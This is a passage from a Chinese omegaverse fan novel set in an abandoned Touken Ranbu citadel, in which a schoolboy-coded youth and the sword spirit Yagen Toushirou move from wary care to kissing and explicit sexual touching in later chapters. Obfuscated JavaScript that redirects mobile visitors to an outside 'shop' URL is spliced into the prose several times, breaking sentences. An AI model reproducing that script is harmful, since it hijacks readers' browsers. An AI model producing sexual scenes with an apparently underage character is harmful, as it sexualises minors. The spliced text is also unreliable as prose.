鹤见悠纪心都提了起来,他深吸一口气,走到门边轻声问:“谁?” 既然会敲门,那也会说话吧。 不会说话他就逃。 “是我。” 门外传来药研藤四郎平静的声音。 鹤见悠纪打开门,对方站在门外,身上依旧是白日里那身衣裳,紫色的眼眸在昏暗的光线下显得神秘而深邃。 “给你的。”付丧神把手中的布包递了过来,“衣服,别总脏兮兮的。” 鹤见悠纪愣了一下,接过布包,里面是两套简单的内番服,粟田口统一那种,摸上去有些旧,但却是十分干净。 “谢、谢谢……”他有些意外,没想到对方会给自己送衣服来。 他本来都已经准备好自己要外出打野寻找物资了。 虽然这样又是十分不听劝告就是了。 药研藤四郎的目光扫过他身上有些脏污的校服,眉头微不可察地皱了一下:“不必,至少也要保持基本的整洁,别造成多余的麻烦。” 麻烦…… 鹤见悠纪眨了眨眼。 难不成是自己遇到危险之后,身上脏兮兮的,对方就不愿意救他了?想到这种可能性,他有些忍不住的弯起嘴角,零碎的笑意像星光一样在柔软的紫色眼睛中漫开。 鹤见悠纪的模样虽与药研藤四郎配色相同,但气质却全然不同,比起药研藤四郎的冷硬和可靠,少年更加软和,也更加让人想要亲近。 付丧神几乎是一瞬间便把这副样子彻底的记了下来。 反应过来自己做了什么的时候,还有些不自然的撇开视线。 鹤见悠纪没有看出他的异常,只是瞧着眼前的人,提问的心又出现了,他趁着人还没离开连忙道:“我今天回来的时候看见了一个人短短的头发,眼睛的颜色很浅……你们熟悉吗?” 憋了半天,最后滚出最后五个字,他一瞬间就想打自己一下。 他们是兄弟,能不熟悉吗? 药研藤四郎闻言回神,没直接回答,只问道:“你和他碰面了?” 鹤见悠纪一阵心虚,连忙扯谎:“没、没有碰面,就是路过的时候看见了而已,他在草丛里……” 药研藤四郎沉默。 以前大家除了晚上和时间溯行军作战的时候都足不出户的,怎么鹤见悠纪一来一个个都喜欢往外跑? 5. 第 5 章 思绪一闪而过,药研藤四郎诡异的沉默了几秒才道:“厚藤四郎,与我还算熟悉。” 他的语气依旧平淡,但是鹤见悠纪却隐约察觉到对方在提起这个名字时,浑身的气息似乎顿了几分。 “他目前状态不太好,尽量不要靠近他。” 状态不太好,和那种完全感受不到任何情绪的模样有关吗? 鹤见悠纪想询问,但是看到付丧神明显不想多说的表情,只好点头,乖巧道:“我知道了,我不会靠近他的。” 对于这样听话的少年,药研藤四郎也有些不自在。 他看着那双澄澈的眼眸,内心挣扎几番还是开口嘱托道:“如果感觉到身体不适,意识不清,甚至十分燥热的情况的话,不要靠近任何人,包括我。” 他们这些暗堕付丧神身上奇怪的状态,显而易见在眼前的人类身上也出现了,虽然不知道对方为什么也会变成这样,但是…… 付丧神努力忽略那股极强的渴望,把理智拉了回来。 只是生理方面的契合,又怎么能取代感情上的连接? 肉/体十分渴望,但是他的情感却告诉他自己对眼前的人类并未有那样的情绪。 紫色眼眸冷冷地看向沉思的鹤见悠纪。 绝对没有。 少年在因为他的话语而陷入思考,并未察觉眼前的甚至落在身上越来越炙热的情绪。 然而却一瞬恍惚,他的想法出现些微的动摇,虽极为浅淡,但仍旧真实出现在了隐蔽的角落。 燥热?鹤见悠纪下意识想到自己的后颈。 难道他的这种不正常对方也有所了解吗?还是说药研藤四郎知道什么? “时间不早了。”药研藤四郎打断了他的思考,“晚上温度会降低,早点休息吧。” 说完,他不再停留,转身离开。 鹤见悠纪急忙回应道:“我明白了。” 这片走廊再次归于寂静。 鹤见悠纪抱着布包,他站在门口看付丧神的身影消失在走廊拐角,心里五味杂陈。 对方总是在帮助他,虽然看起来冰冷冷的,还附带一股非人的距离感,可是无论是一次又一次的让他远离危险,还是现在向自己提供干净的衣物…… 少年闭了闭眼睛,向来柔软的眼中露出几分忧虑。 但是这些……所有的帮助都仍旧无法让他达到自己最初的目标—— 回家。 鹤见悠纪就像被蒙上眼睛推入迷宫的人一样,只能依靠在这迷宫中的原住民的只言片语来保证存活,却怎么也找不到迷宫的出口。 他关上了门,换上药研藤四郎给的衣服,布料柔软,很舒服。 虽不是为他制作的,但尺寸也刚好。 这种恰到好处的合适,让他心中的恍惚消失了许多。 鹤见悠纪躺在榻榻米上,睁着眼望向天花板,那里一片黑暗,什么都看不清,然而后脖颈处的温热感在奇迹中显得格外清晰。 这里的一切都很奇怪,但至少他还活着。 他翻了个身,将脸埋进带着淡淡皂角香气的被褥中。 明天会发生什么? 睡意已席卷意识,仿佛再一次听见了熟悉的利器碰撞的声音,还有与上次不同的更加湿润的气息。 这股气息同样给他带来安全感。 皱起的眉头舒展,不安的呼吸很快平稳下来,鹤见悠纪陷入了深睡。 另一边,药研藤四郎只能回到自己的房间,他站在庭院之处的屋檐下,眼眸抬起望着沉沉的夜色,指尖无意识摩挲袖口。 这座本丸周遭的气息又开始涌动了,那些非人的生物再一次试图抢占这片稳定的空间。 不可以呀…… 手无寸铁的omega正沉浸的睡在这座本丸中,怎么可以有不长眼的东西去打扰他的睡眠呢? 自己的身份是alpha,那些因此而生的数不清的欲望和痛楚在和鹤见悠纪接触之后,出现了几乎战栗的舒畅。 就像久处黑暗骤然被一缕微弱的光照射到一样不可思议。 记忆和身体都会下意识忽略这份喜悦,生怕其是虚妄。 但当黑夜降临,危险的源头出现在眼前的时候,一切都变得再清晰不过,新的与敌人对战的理由诞生。 阳光太脆弱了,对于这座早已被误会和痛苦浸透的破碎本丸而言,他的存在就已值得让人注视。 夜风悄无声息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066957|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吹过破碎的庭院,带起地面枯枝败叶的声响,将在夜色下锐利的刀光尽数隐藏。 无数面目狰狞、全身布满骨刺的敌人,在他们的手下化作虚无,只有地面残留的血淋淋的痕迹能够证明刚刚战争的发生。 药研藤四郎从半空中落地,身姿轻巧又灵活,他深吸一口气,甩了甩本体上恶心的痕迹,皱着眉将其擦拭一番,才重新放入刀鞘。 “今天怎么了,这是有洁癖了?” 耳边突然传来声音,沉默不语只知道战斗的同伴突然好奇地凑了过来,“平时你怎么不见你刚战斗完就拿着帕子擦一擦的?” 药研藤四郎推开他的脸:“没有。” “真敷衍,这样可不行。” 月色下,后藤藤四郎抱胸,挑眉不满。 付丧神橘色带着紫色挑染的发丝凌乱地翘起,这样鲜亮的颜色在暗色的环境中都带出一份异样的光彩。 “没有就是没有。”药研藤四郎丝毫不动摇。 听他这话,后藤藤四郎眼中闪过一分笑意:“看来白天发生了什么我不知道的事情。” 他伸出手,凭空点了点空气:“是这味道的主人吗?” 出现在本丸中的甜丝丝的气味的主人……怎么看都是让自家兄弟出现异常的最大嫌疑人。 药研藤四郎眉头瞬间蹙紧,话语脱口而出:“跟他没有关系。” 神色一愣,下一秒,他有些恼怒的看向后藤藤四郎。 这家伙! 果不其然,对方脸上已经绽放出了灿烂的笑容:“行,我明白了,没有关系就没有关系吧。如果选择了保护他的话,那就继续努力吧。” 后藤藤四郎没有见过这道气息的主人,然而根据鼻尖的气味,他已经想象出了一个白皙瘦弱又可怜兮兮眼角含泪的形象。 若不是自己白天不在,他还真想去看看,至于晚上嘛…… 他看着眼前药研藤四郎冷漠的眼神。 晚上自己还是不要去打扰人家睡觉的好。 后藤藤四郎讪讪地拍了拍药研藤四郎的肩膀,试图补救:“如果有需要,找我帮忙也行。” 为了兄弟的幸福,他一定竭尽全力。 一定! 6. 第 6 章 鹤见悠纪从床上挣扎起来,门口果然摆放着足够饱腹的食物。 填饱肚子之后,站在门口,脚步声越走越远,他才轻轻打开门,向外走去。 鹤见悠纪没有目标,在周围走了几圈,仍旧没有发现什么异常。 如果他一直不敢向外探索的话,绝对没有可能找不到离开的方法。 ……虽然连方法存不存在他也不知道。 叹了两口气之后,鹤见悠纪又回到房间,撑着脸颊无聊的从窗户向外看去。 太荒凉了,太寂静了,这里的一切都让人忍不住沉默。 鹤见悠纪迟疑着晃悠了几天,虽然啥也没找到,但也啥事都没出。 日子在一种微妙的平衡中缓慢过去。 鹤见悠纪逐渐熟悉了在有效范围内的生活,他倒是想到远处去仔细探索,但是那些地方比他所在的位置更加没有荒凉,甚至就连建筑也已经变成了残骸。 一眼望去,实在没什么秘密可言。 他的探索进度陷入了瓶颈。 待在房间里,偶尔在絮语中寻找,而后看向门口准时出现的食物和水。 虽不知道那家伙是谁,但却是一次都未曾缺席,而且就算自己不在房内,等回来时事无依然正确的出现在房门口。 只不过,鹤见悠纪一次都没有和送来食物和水的人见面过。 厚藤四郎偶尔会出现在他面前,但是那一声大将和冰冷得没有任何情感的眼神终究还是让他有些胆寒。 鹤见悠纪:……感觉在叫死人。 他不知道为什么对方的话听起来那么诡异,但是内容又没什么问题,既然不知道原因,那就远离唯一的源头就好了。 药研藤四郎出现在鹤见悠纪眼前的频率是最高的。 这把刀偶尔会送来一些必需品,或者简短询问他的情况,但是语气依旧是平淡,带着距离感的。 还有点……不太对劲。 但是后来鹤见悠纪长了个心眼,观察起对方的动作,最后发现短刀的视线总是会若有若无的掠过他的后颈,他迷茫的抬起手抚摸后颈。 这里虽偶尔会出现一些微弱的疼痛,可是到现在也没有发现什么具体的异常。 这座本丸就像黑暗中的流水一样,静静的,始终向前流动,将一切抹平。 而他站在湿润的流水中,不知向前还是向后,最后只能被裹挟着停留。 鹤见悠纪站在药研藤四郎的门口,他有些疑惑的看着难得闭上的房门,抬手轻轻敲了敲。 “……进来。” 声音有些沙哑,但确实是药研藤四郎的声音,他没有起疑心,推门而入。 然而,下一瞬身体僵住,空气中漫起一股冰冷的气息,似乎比往日更加粘稠。 一股似乎即将爆起的气息沉沉地压在鹤见悠纪的身上。 “你点熏香了吗?” 他迟疑着跨进门口,询问道。 “没有。” 药研藤四郎今天的话格外少。 “那怎么……”鹤见悠纪后面的声音小了下去,他走几步靠近药研藤四郎,瞧着对方手中的书,“今天换了一本吗,昨天我记得看的是医药方面的,今天怎么看起人体了?” 那本医药方面的书还很厚重,瞧着不像是一时半会能看完的样子,而且药研藤四郎也不像是会半途而废的性格。 “想看。” 药研藤四郎简短地吐出两个字,在鹤见悠纪还想问些什么的时候,突然转过头来,“没什么事就离开这里。” 鹤见悠纪被他的眼神吓到了。 平日里平淡无波,甚至带着些冰冷的眼睛中,此刻全是压抑的深沉的色彩。 然而,其中像狼一样的克制与欲望仍旧丝丝缕缕的渗透出来,几乎下一秒就要把眼前的少年拖到自己的窝里吞吃入腹。 药研藤四郎话音落下,周遭的一切就陷入一片安静。 鹤见悠纪呆愣在原地,他仿佛能听到自己的呼吸声和心跳声,都变得急促起来,他的身体开始散发出语惊后颈处总是温疼的部位,此刻似乎在被什么入侵。 发生了什么? 为什么会是现在这样子? 他不知道。 “出去。” 药研藤四郎面无表情盯着鹤见悠纪看了一会儿。 “我、我知道了。” 鹤见悠纪被他冰冷的声音带着回过神。 付丧神已经转过了头,重新拿起自己的书,然而握着书的手却青筋四起,十分用力,仿佛在克制着什么。 空气中的气味更加浓郁了。 像无形的触手将少年包裹。 眼前的猛兽正在渴望着他,渴望让其属于自己,只属于自己。 ……这不行。 药研藤四郎压下滚烫的呼吸,试图用书上早已记下的枯燥乏味的知识来麻痹自己。 鹤见悠纪脚下慌忙向外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066958|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃去,还差点被门槛绊了一跤。 药研藤四郎的模样太奇怪了,他的身体在发出警报。 少年紧咬下唇,大脑一片空白,身体已经利索地走进自己的房间。 鹤见悠纪关上门,背靠着木门瞧着自己房间熟悉的模样他才冷静下来,轻抚着自己的胸口,回想刚刚的模样似乎还心有余悸。 他看向窗外,阳光已经升起,快要到正午了。 药研藤四郎的状态很不对劲,那另一个呢?那个会按时给他送来,食物和水却从来不出现在他面前的存在。 他需要看看。 鹤见悠纪努力静下心来,他挪动脚步,坐上床榻。 时间一分一秒的过去,门口果然再次出现了轻轻的脚步声。 对方的动作没有任何异常,他几乎要松口气了,但是忽然清淡的带着些花朵香味的气味飘到鼻尖。 站在门口的人停在了那里。 他没有放下托盘。 鹤见悠纪的心瞬间提到了嗓子眼。 ……这家伙不会也出现问题了吧? 可恶,究竟在自己睡着的时候发生了什么? 他警惕地看着门口脚步轻轻挪向窗户,已经摸上了窗户边缘。 如果对方有什么动静,他就立刻翻窗跑掉,绝不能留在房间里束手就擒。 然而不一会儿,那个身影还是放下了托盘,转身离去。 鹤见悠纪松了口气。 经此一遭,他都不敢出门去了。 他待在房间里靠近窗户,总觉得有什么东西在不安的黑暗中缓缓蠕动,就连颈后都比平常传来更多的细微的带着刺麻的不适感。 是因为今天突然闻到的味道吗? 虽然自己问是否是香薰,但是怎么也知道绝对不会是。 毕竟这座本丸的状态怎么可能还存在那样无用的东西。 等到夜幕降临,这种不安感达到了巅峰,他躺在床上辗转难眠,空气变得无比沉重。 这股气息丝丝缕缕,无孔不入,还带着一股难以言喻的欲望和某种古怪的冲动。 不对劲,太不对劲了。 鹤见悠纪警惕地环顾四周,却没有发现任何异样。 然而,下一瞬,有什么东西穿透墙壁和门板的阻隔持续放大。 一道极其压抑,仿佛从喉咙深处挤出来的闷哼出现在耳边, “唔……啊哈……” 他听出来了。 7.第 7 章 鹤见悠纪猛地坐起身,心脏狂跳,那声音充满了痛苦,还有某种濒临失控的挣扎,紧接着是什么装上木头的闷响声…… 发生了什么事情? 恐惧蔓延上心头,他想缩回角落,用被子蒙住头逃避这种恐惧。 药研藤四郎多次警告过他,不要多管闲事,不要到处乱跑,在遇见异常的时候躲起来。 但是紧接着,痛苦压抑的闷哼声再次响起,比之前更加清晰,就像直接出现在脑海深处一样。 这很不对劲,他四周绝对没有任何拥有生物。 但是那声音极近,甚至随之药研藤四郎那张总是没什么表情,却总会将自己需要的东西递出的模样出现在眼前。 这个声音、还有鼻尖弥漫的甜丝丝的气息……鹤见悠纪大脑恍惚一瞬,而后飞速反应过来,是药研藤四郎。 鹤见悠纪心中满是挣扎,他咬了咬牙,还是跳下榻榻米,轻轻拉开房门。 他不能就这样听着。 虽然他不知道声音为什么会传达到这里,虽然他也不知道对方为什么会出现这样的状态,更是不知道在此刻夜色完全笼罩着周本丸的时候出门会有什么后果…… 他实在是太冲动了。 鹤见悠纪如此蠢笨。 走廊里的空气几乎是凝滞了,气息浓烈得令人发晕。 他扶着墙壁,小心翼翼走到熟悉的门前。 木门紧闭着他看不见内侧,也不知里面是什么情况,但是耳朵贴近,那股压抑的出现在脑海海中的闷哼声隐约从房内传出来。 鹤见悠纪屏住呼吸,他抬手敲了敲:“……药研。” 里面没有回音,只有更加混乱的喘息声和被什么东西死死箍住用力到指节发白的摩擦声。 “你怎么了?”鹤见悠纪提高了声音,心中的担忧压过了心中的警惕,他猛吸一口气,“我进来了。” 他试探着推了推门,门没有锁,应声而开,房间里的景象却让他瞬间僵在原地。 屋内没有灯光,只有窗外惨白的月光勉强勾勒出室内混乱的模样。 书籍散落一地,平日里被用来摆放东西的小桌子只剩下残骸,地面一片狼藉, 那股气息更加浓郁了,拨开表面的甜丝丝的诱人的气息,更加让人无法承受的酸意彻底暴露出来。 他从未在药研藤四郎的身边受到过这样的气息,可是在此时此刻却像是拨开云雾见天明般确定了,这才是对方真实的模样。 鹤见悠纪咬着牙,四处环顾,他强打起精神。 很快,少年在房间暗色的角落处找到药研藤四郎的身影,他坐在那里头埋进膝盖,暴露在外的颈脖处满是鼓起的青筋,似乎在压抑着什么。 付丧神听见动静瞬间猛地抬起头来恶狠狠的目光瞪向闯入者, “出去,谁让你进来的?” 这话说的无情,随着压过来的气息更是让鹤见悠纪僵在原地。 他在此刻也终于看清了付丧神的全部状态。 平时一丝不苟的紫色短发被冷汗浸湿,凌乱的贴在耳后和颈脖上,原本整洁的衣服领口被扯开,露出大片皮肤,在月光下泛着不正常的潮红。 空气中弥漫的气息不再是平时诱人的甜丝丝,反而是浓郁到刺鼻的酸甜味,就像过度的冰镇柠檬水一样。 一种极端的渴望以及排斥一切的扭曲信息素像风暴一样席卷整个房间。 而现在,唯一可以疏解这种痛苦的猎物,却主动的闯入了这片在特殊时期划下的领地。 “药研……?”鹤见悠纪声音已经开始打颤。 他从来没有见到过这样的药研藤四郎,脆弱破碎,濒临崩溃,却又让自己发自内心地胆寒。 而到此刻,后颈的腺体如同被点燃的干柴一样,让他无法再忽视其的存在,也无法再用手摸上去毫无异常的理由欺骗自己。 他的身体早已变得奇怪,就像现在眼前的刀剑一样,会散发出奇怪的味道。 ……还是甜的。 或许是因为主人的忽视,早已发出预警的腺体轰的一下爆发出前所未有的剧烈反应。 一股纯粹的甜蜜汁水般干净的omega信息素不受控制的从他后颈爆发出来,又本能朝着房间内混乱痛苦的信息素源头冲去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070349|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一切都是知识盲区,鹤见悠纪不知作何反应,这是他第一次如此清晰的感受到自己身体的异常,也是第一次如此明确的感受到那股气味的具现化。 在鼻尖若有若无的甜丝丝变成了极具占有为让人头皮发麻的酸甜,始终缓慢又柔和的腺体更是像火一样从后进将他整个人都蒸腾起来。 蜷缩在角落的药研藤四郎被甜蜜激得身体猛的一僵,随即爆发出更加剧烈的攻击性。 骨骼都在战栗。 药研藤四郎喉咙里挤出一股近乎呜咽破碎的吸气声,他抬起手捂住自己的脸,用了劲,然而指缝间透露出来的紫色眼眸盯着眼前毫无知觉勾引自己的omega。 鹤见悠纪不知道这意味着什么,因为他什么都没有告诉少年,然而在现在付丧神亲手促成的无知也将自己的处境推向了巅峰。 “滚出去。” 他几乎是从牙缝中挤出三个字,声音嘶哑的不成样子,他哪的他的理智快要无法支撑他在发出有意义的字节了。 声音里充满了克制和痛苦,但是颤抖却泄露出一丝连他自己都无法控制的渴望。 如此绝望。 但是眼前的人类并非是属于他的大将。 罪恶的暗堕付丧神怎么能做出窃取别人未来大将的事情? 他不能将眼前干净的、无辜的审神者卷入这场不可反悔的潮流中。 那太卑鄙了。 鹤见悠纪被他痛苦的模样吓到了,少年使劲揉着自己的手腕,试图用疼痛让变得酸软无力的身体动起来,他需要做些什么。 帮助付丧神缓解这种状态,或者离开这里,不要再用无意义的行动添麻烦。 然而,空气中酸甜的气味像是钩子一样,一下又一下的落在他的心间,瞬间冲动压倒了鹤见悠纪的理智。 “我、我能做什么吗?” 他是否也能帮助眼前这个曾帮助了自己无数次的付丧神? 却未曾想,自己此刻双眼湿润泛红浑身散发着信息素靠近的模样,对于处于易感期又被暗堕加深了本能的药研藤四郎来说…… 是何等刺激。 8.第 8 章 “别过来!” 药研藤四郎猛地转过头,月光照亮了他的脸。 汗水淋漓,歪斜的镜片后的紫色眼眸不再是平日里的冰冷平静,反而氤氲着一层剧烈的水汽,瞳孔涣散,眼神混乱,恍若还有几分可怕的红光在其中闪烁。 肉/体中交织着极致的痛苦与抗拒,以及一种被本能推出几乎要将他吞噬的渴望,他的牙齿深深陷入下唇,渗出血丝。 鹤见悠纪被他的眼神吓住了,脚步顿在原地,手指无措地缩了缩,一时间有些不知如何是好。 药研藤四郎独自面对近在咫尺纯净香甜的信息素的致命吸引,他努力用压制,可本能已经冲垮了意志。 “唔啊——” 药研藤四郎靠在墙壁上的身体如同濒死的猛兽般猛然弹起,他浑身滚烫,用一种几乎踉跄的失控的速度扑向了离他最近的散发着勾人气息的源头。 omega根本来不及反应,更何况在刚刚他已经选择了帮助眼前的alpha,身体紧绷一瞬又努力放松。 鹤见悠纪想知道对方要做什么,自己又该做些什么才能帮助到对方。 滚烫的带着酸甜气息的身体重重撞进少年的怀里,力道之大让他忍不住踉跄几步。 瞬间,身体失去平衡,向后跌倒,随着令人恐慌的失重,他的身体在空中被反转,紧接着一双手臂如同烙铁一样,死死环住了他的腰,滚烫的脸颊埋进他的里面。 噗通…… 药研藤四郎嘴里发出一声闷哼,他的背垫在底部,将怀里的人护得完全。 灼热的呼吸喷洒在少年敏感的皮肤上,激起一片颤栗更深层次,他从未主动引导的欲望,在这一刻被眼前匹配度极高的存在一点点诱发出来。 omega白皙的皮肤上很快漫出一片红色。 “药、药研……” 鹤见悠纪手足无措,他现在被对方揽着压在了付丧神的身上,他能感受到身下的身体剧烈颤抖,能闻到那浓郁到令人窒息的信息素近在咫尺,也能感受到对方的手从腰际慢慢向下,最后停留在自己后颈的腺体。 而滚烫无比的一小块软肉落在alpha的手中仅仅是被轻轻的触碰,就已如一股电流一样直串起整具身体。 口腔中溢出几具呜咽与呻吟,鹤见悠纪猛地捂住嘴眼中不可思议,未曾想竟然自己会发出这样羞耻的声音。 然而,信息素纠缠在一起,激烈的纠缠碰撞,甜蜜无力的一方终究会被充满占有欲的气息彻底吞没。 鹤见悠纪有点害怕,他试图安抚他。 但是alpha尖锐的牙齿叼住他颈侧一小块肉,轻轻的磨着,像是将其当做了磨牙的工具一样,一下又一下。 鹤见悠纪从来没有体会过这样的感受,仿佛身体上所有的孔洞都被对方的气息入侵。 “亲一下?” 低哑的声音突然在耳边响起,少年颈侧可怜的一小块肉被折磨得红痛不止。 omega大脑一片混乱,并没有听进听清这句声音,他模糊着反问道, “什么?” 黏黏糊糊的声音,伴随着让人极度爱不释手的气息,更是激发身下人的欲望。 alpha重重喘息两声,忍耐着重复了一遍, “亲一下吧。” 就是亲一下就好了,□□相互混合交换,同样能够安抚他渴望而变得像恶魔一样渴望少年的身体。 已经到了现在这种程度了。 omega自投罗网。 他的本能和身体都不允许他放过这样可怜又可爱的猎物。 鹤见悠纪听着这样的要求迷茫了片刻,他看向药研藤四郎,常日里平静无波的付丧神此刻在身下,满眼绯红压抑。 他很难受。 他需要帮助。 就靠着刚刚贴上来的样子……自己可以帮助他。 omega紧抿着唇,大脑中的清醒已被alpha的信息素掠夺了许多,他只恍惚地看着帮助自己的人如此痛苦……只是亲一下而已。 亲一下就可以的话…… “好。” 话音落下,滚烫的唇瞬间捉了过来,充满占有欲的唇舌舔拭着他的一切,索取无度alpha满心满眼只有眼前向他发出接受信号的omega的顺从姿态。 占有他,标记他,让他成为自己一个人的。 药研藤四郎眼神愈加暗下来,力气也越来越大,明明只是亲吻而已,然而全身躁动的信息素仿佛要将眼前的人全然吞吃入腹,让其从内至外都染上自己的气息,让所有见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076925|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方的人都知道这是属于他的omega。 他的。 这是他的。 青涩的从未接触过这些事的omega被剥夺呼吸,窒息的恐惧令他想要逃离,但不论是,你在后脑勺的手心还是紧紧跟随的炙热的唇舌都绝对不会让他有逃离的可能。 重新落在腰上环绕的手臂收得更紧,几乎要将可怜的omega勒进自己的血骨里,含糊的带着哭腔的呜咽破碎地溢出,却又被对方吞噬进胃里。 “唔……放开……”满眼湿润,就连声音也变得娇软,就算是说出的全是拒绝的话语,在他亲自引入室内的狼的眼中,也只是另一种邀请。 两人的姿势亲密的远超安全距离,脑袋分开暧昧的银丝一触即断,信息素疯狂翻腾缠绕在一起,药研藤四郎的气息依旧混沌危险,但是那种濒临破碎的痛苦和失控感似乎真的因为这个吻而悄悄缓解下来。 鹤见悠纪的唇角破了,带着些刺痛,他轻轻动了动,然而口腔中也满是被索取无度的酸痛,一动起来就处处都是不舒服。 他慢慢喘息着,很快便感受到锢着自己的肌肉在微微放松,暴力的信息素似乎开始从混乱转向另一种人就浓烈的……疼惜。 omega的腺体被alpha的信息素勾得滚烫,陌生的热潮在四肢百骸中流淌,一种从未体验过的混合着情欲和更深层次躁动的欲望。随着信息素的溢出而悄然滋生。 “抱歉。” 药研藤四郎的声音再次响起,这次变得清晰了许多,他好像恢复了。 “我会给你找药的。”付丧神的手指轻轻抚过少年的嘴角,眼中闪过几丝暗芒与疼惜,那是他自己留下的罪孽。 鹤见悠纪条件反射咬着唇,避开他的视线。 然而,下一刻,紧闭的嘴唇就被付丧神的手指强制着分开,对方皱着眉,“别咬,会更疼的。” 鹤见悠纪脸上一片红。 他见付丧神的状态稳定下来,便想起身离开,腰间的手臂顺势松开。 他想起来,然而浑身酸软无力,刚支起手臂就再次重重的跌了下去。 药研藤四郎感受到了什么。 他屈起膝盖将上方少年的双腿分开用作支撑,而后缓慢的、轻轻的、试探性地将手向下移…… 9.第 9 章 鹤见悠纪不知道怎么回应,他犹豫地抬起手所抓住药研藤四郎肩膀处的布料。 “快、快一点……”他听见自己干涩的声音,带着不自然的别扭,像是在说服自己,“快一点就好。” 药研藤四郎太被他脆生生的话惊得呼吸一滞,而后便敛下眼眸,手指向下,笨拙地安抚起来。 持续涌入的纯净信息素和手上不知轻重的动作同时刺激着怀中的少年。 和药研藤四郎相似的紫眸,现在涣散着抬头对上他的眼睛。 月光下,总是疑问着看着自己的眼眸里倒清晰地倒映出自己的模样,就连身上也处处弥漫着自己的气息。 柔软的,渴望的完全被他掌控的……大将。 几乎是那个词出现的一瞬间,一丝清明和极致的痛苦猛地刺入药研藤四郎混沌的理智,随即又被怀中少年压抑的呜咽声和身边温暖的信息素带来了令人战栗的慰藉抹平。 鹤见悠纪看不到付丧神眼中的复杂,他闭上眼,将滚烫的额头抵在药研藤四郎的肩膀上,身体依旧紧贴,呼吸好像有个很快变得急促起来,抓着肩膀的手逐渐收紧。 他要忍不住了。 shen下稚嫩的部位被人握在手中,附上神安抚他伸出舌尖轻轻的叼在耳垂,滚烫的气息打过来,熟悉的信息素更是铺头盖脸地安抚着他。 很快,光亮在脑海中炸开,身体轻轻颤抖,口中的声音却被完全压下来。 “没事,已经结束了。” 药研藤四郎安抚的摸了摸他的脑袋,另一只手上的脏污他视而不见,随意找了帕子擦拭干净,感受到少年沉重而依赖的喘息声彻底平静下来,才抚着对方起身坐到一边幸存的椅子上。 月光下在弥漫着混沌和信息素的房间里,两人以一个异常亲密的姿势紧紧相贴。 鹤见悠纪对着药研藤四郎跨坐在对方腿上,夜晚的空气是冰冷的,但是两人相贴的身躯却始终滚烫,陌生的悸动在释放后有了消解的倾向,但是当理智回归时混乱的场景重新映入大脑,更是不敢面对另一个当事人。 看看保持的距离,在这一夜被捅破了脆弱的隔离,一种更深沉、若有若无的联系在这疯狂的亲密中悄然建立起来。 鹤见悠纪碰到了这座本丸的秘密,但是这样可怕的事情……他只能抱住眼前付丧神的身体试图从中汲取到一点力量。 自己的身体究竟是发生了什么变化?今夜的混乱把这个问题彻底摆在他面前,他无法再忽视过去。 “你还好吗?” 药研藤四郎低沉的声音在耳边响起,他手指有一搭没一搭地轻揉着,他克制住自己不去触碰的部位,但是颈侧被他用了力后变得惨不忍睹的皮肉依然是呈现在眼前。 他有些懊悔。 “还、还好……”鹤见悠纪不敢抬起头直面他的眼睛,只能维持着现在的动作,然而滚烫的触觉却又让他身体僵在原地,不知究竟是该退后还是该继续像这样拥着对方。 眼中的湿意还没残留着,虽除了亲吻和最后有些过节的动作并未再发生其他什么,但两人中的气氛终究还是全然转变了。 眼前付丧神身上……在白日里只觉得甜丝丝的气息恍然间变成了更有攻击力的酸味,但是细细嗅闻还是能窥见底色中的甜味。 直到现在,他才有了清明的意识去辨认……是葡萄吗? 紫色的,倒是和眼前的刀剑十分相符。 那自己呢? 鹤见悠纪眼中露出几分迷茫,他还是开口问道,“为什么会变成刚刚那样?” 药研藤四郎神色复杂,手中的动作顿了顿,将其向怀里更加用力的揽住,“大概是,一种诅咒吧。” 那位暴虐的审神者来自一个神奇的世界,而且违规的事情被时之政府发现,并且判处死刑之后,便向他们这些幸存的付丧神留下了这样的诅咒。 不仅仅是成为了堕神,还变成了和其同样的体质。 但是,同种性别具有排斥性的alpha停留在一起,再加上因为暗堕而产生的奇奇怪怪的变化,他们的生活被彻底打乱,没有审神者愿意接受他们。 于是,这座本丸成了被放弃的地方。 